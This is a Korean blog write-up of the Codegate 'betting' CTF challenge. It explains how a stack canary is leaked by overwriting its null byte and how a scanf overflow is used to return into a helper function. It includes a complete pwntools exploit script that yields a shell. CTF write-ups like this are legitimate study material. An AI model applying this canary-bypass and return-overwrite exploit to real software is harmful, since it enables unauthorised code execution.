티스토리 뷰
코드게이트 본선에 출제 되었던 betting write-up 이다.
file
64bit elf 파일이다.
카나리와 nx가 활성화 되어있다.
분석
메인함수 이다.
s의 위치는 bp-20h 이다.
read로 s에 입력을 0x28만큼 받을 수 있다.
카나리 변수 v24가 bp-8h이니
메모리 구조는
ebp
S+etc (24byte) | sfp(8byte) | ret(8byte)
이렇게 된다.
따라서 s를 40만큼 입력할 수 있으니 canary leak이 가능하다.
Hi, s가 출력된다.
canary의 첫 바이트는 null 이므로
S(bp-20h) 부터 25byte를 입력받으면 저 부분에서 나머지 7byte leak이 가능하다.
그 이후 scanf로 v22를 입력받는데 여기서 bof가 가능하다.
참고로
helper라는 함수가 있어서 CANARY 우회 후 RET을 HELPER로 뛰면 된다.
helper 함수의 주소는 0x4008f6이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | from pwn import *
s = process("./betting")
helper = 0x4008f6
s.recvuntil('name? ')
s.send("A"*25) s.recv() s.sendline("1000")
s.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAAA')
canary = s.recv(7) canary = '\x00'+canary print("canary :" + canary) print(s.recv()) s.sendline("1000") print(s.recv()) # attack
payload = '' payload += "A"*40 payload += canary payload += "A"*8 payload += p64(helper) s.sendline(payload) s.interactive() |
코드이다.
쉘을 얻었다. 참고로 while문을 나올때까지 해야한다.
'pwnable > CTF write-up' 카테고리의 다른 글
[trustealth]easy write-up (0) | 2018.05.13 |
---|---|
[CSAW2013] Exploitation-1 write-up (0) | 2018.05.12 |
[Codegate 2017] babypwn write-up (0) | 2018.01.30 |
[Plaid CTF] ropasaurusrex write-up (0) | 2018.01.29 |
[Defcon CTF 2015 예선]babycmd write-up (0) | 2018.01.26 |
- pwnable
- ebp change
- pwable
- fastbindup
- srop
- FSB
- fsop
- 해킹
- TLS
- tcache
- 본선가고싶다
- shellcoding
- stack reusing
- exit
- SQLi
- codegate
- pwnable.tw
- heap
- rt_sigreturn
- fastbin
- HackCTF
- oob
- hacking
- overflow
- glibc
- Total
- Today
- Yesterday